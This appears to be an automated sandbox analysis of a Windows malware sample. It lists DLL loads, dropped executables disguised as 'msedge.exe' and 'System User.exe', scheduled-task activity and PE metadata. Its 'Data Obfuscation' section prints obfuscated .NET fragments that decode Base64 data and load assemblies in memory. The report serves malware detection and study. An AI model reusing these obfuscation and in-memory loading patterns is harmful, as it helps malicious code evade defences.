Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\System User.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\dddd.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: YgJ5inWPQO.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: YgJ5inWPQO.exe

Static file information: File size 7714025 > 1048576

Source: YgJ5inWPQO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: YgJ5inWPQO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: YgJ5inWPQO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: YgJ5inWPQO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: YgJ5inWPQO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: YgJ5inWPQO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: YgJ5inWPQO.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: YgJ5inWPQO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1471950558.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1472115949.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1464730716.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdbI source: dddd.exe, 0000000E.00000002.1744595376.000002624C77F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: dddd.exe, 0000000E.00000002.1731703513.0000026234332000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: YgJ5inWPQO.exe, 00000000.00000003.1464879729.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: dddd.exe, 0000000E.00000002.1744595376.000002624C710000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1464879729.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1463949860.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1463734787.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: YgJ5inWPQO.exe, 00000000.00000003.1463734787.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1465060554.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: YgJ5inWPQO.exe, 00000002.00000002.1499325131.00007FFBAACA9000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: dddd.exe, 0000000E.00000002.1744595376.000002624C7A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: dddd.exe, 0000000E.00000002.1731703513.0000026234332000.00000004.00000800.00020000.00000000.sdmp

Source: YgJ5inWPQO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: YgJ5inWPQO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: YgJ5inWPQO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: YgJ5inWPQO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: YgJ5inWPQO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: msedge.exe.2.dr, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.JqVuYg6hxaBUVcsdVfq2EcFAGccAALAx6cfCplGgUYZBCMgZ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX._9U7OSAq0RXDPzWAZjnggVkY6KqaW8cEJGr3VqC6YPwEJiLQu,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.m5CbZCym8joy9FHkIHwTq3Abm67Rn11rdkK3Mm05MdF6FmPJ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.eBo3ZLkgXek59acgYzOPhGatYL2GzfbBwmHN7fnlTJYIsq4G,_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.qJPD6VozMzwU00SkOvlrAxbO1xXiBnr9CJYEOhfpofh3s4nRMuIi0qdgXAeQfcmp5HrP5QWtcP8mTPYuZNVTSOZxVsA6sB0CE0()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: msedge.exe.2.dr, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[2],_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.awtX9wwH9SKzlYTJgmPpqssvVZpVHXTwSNAIlhI0ArefAyH1phkJcYETo4nSdcIpBj9bIoqVMIftQAfrAVj0TglYcljvX3d21W(Convert.FromBase64String(UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.JqVuYg6hxaBUVcsdVfq2EcFAGccAALAx6cfCplGgUYZBCMgZ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX._9U7OSAq0RXDPzWAZjnggVkY6KqaW8cEJGr3VqC6YPwEJiLQu,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.m5CbZCym8joy9FHkIHwTq3Abm67Rn11rdkK3Mm05MdF6FmPJ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.eBo3ZLkgXek59acgYzOPhGatYL2GzfbBwmHN7fnlTJYIsq4G,_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.qJPD6VozMzwU00SkOvlrAxbO1xXiBnr9CJYEOhfpofh3s4nRMuIi0qdgXAeQfcmp5HrP5QWtcP8mTPYuZNVTSOZxVsA6sB0CE0()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[2],_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.awtX9wwH9SKzlYTJgmPpqssvVZpVHXTwSNAIlhI0ArefAyH1phkJcYETo4nSdcIpBj9bIoqVMIftQAfrAVj0TglYcljvX3d21W(Convert.FromBase64String(UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.JqVuYg6hxaBUVcsdVfq2EcFAGccAALAx6cfCplGgUYZBCMgZ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX._9U7OSAq0RXDPzWAZjnggVkY6KqaW8cEJGr3VqC6YPwEJiLQu,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.m5CbZCym8joy9FHkIHwTq3Abm67Rn11rdkK3Mm05MdF6FmPJ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.eBo3ZLkgXek59acgYzOPhGatYL2GzfbBwmHN7fnlTJYIsq4G,_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.qJPD6VozMzwU00SkOvlrAxbO1xXiBnr9CJYEOhfpofh3s4nRMuIi0qdgXAeQfcmp5HrP5QWtcP8mTPYuZNVTSOZxVsA6sB0CE0()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[2],_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.awtX9wwH9SKzlYTJgmPpqssvVZpVHXTwSNAIlhI0ArefAyH1phkJcYETo4nSdcIpBj9bIoqVMIftQAfrAVj0TglYcljvX3d21W(Convert.FromBase64String(UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.JqVuYg6hxaBUVcsdVfq2EcFAGccAALAx6cfCplGgUYZBCMgZ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX._9U7OSAq0RXDPzWAZjnggVkY6KqaW8cEJGr3VqC6YPwEJiLQu,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.m5CbZCym8joy9FHkIHwTq3Abm67Rn11rdkK3Mm05MdF6FmPJ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.eBo3ZLkgXek59acgYzOPhGatYL2GzfbBwmHN7fnlTJYIsq4G,_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.qJPD6VozMzwU00SkOvlrAxbO1xXiBnr9CJYEOhfpofh3s4nRMuIi0qdgXAeQfcmp5HrP5QWtcP8mTPYuZNVTSOZxVsA6sB0CE0()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[2],_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.awtX9wwH9SKzlYTJgmPpqssvVZpVHXTwSNAIlhI0ArefAyH1phkJcYETo4nSdcIpBj9bIoqVMIftQAfrAVj0TglYcljvX3d21W(Convert.FromBase64String(UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.JqVuYg6hxaBUVcsdVfq2EcFAGccAALAx6cfCplGgUYZBCMgZ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX._9U7OSAq0RXDPzWAZjnggVkY6KqaW8cEJGr3VqC6YPwEJiLQu,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.m5CbZCym8joy9FHkIHwTq3Abm67Rn11rdkK3Mm05MdF6FmPJ,_0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.eBo3ZLkgXek59acgYzOPhGatYL2GzfbBwmHN7fnlTJYIsq4G,_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.qJPD6VozMzwU00SkOvlrAxbO1xXiBnr9CJYEOhfpofh3s4nRMuIi0qdgXAeQfcmp5HrP5QWtcP8mTPYuZNVTSOZxVsA6sB0CE0()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[2],_3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.awtX9wwH9SKzlYTJgmPpqssvVZpVHXTwSNAIlhI0ArefAyH1phkJcYETo4nSdcIpBj9bIoqVMIftQAfrAVj0TglYcljvX3d21W(Convert.FromBase64String(UE0TPOEfEtXYb36upxT4ctn2b3a6f3yd32a9sAIWHZakmlowGwIs0Qb78SQdgpgO3[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: msedge.exe.2.dr, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: Mgz8VMYXFJgs3CCMy91hlPEh2gWvWXttoNd8pG4xN08KTUwmb3zGeU0ET6YRZMvLwvIqXmPQHoooDm0c System.AppDomain.Load(byte[])
Source: msedge.exe.2.dr, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL System.AppDomain.Load(byte[])
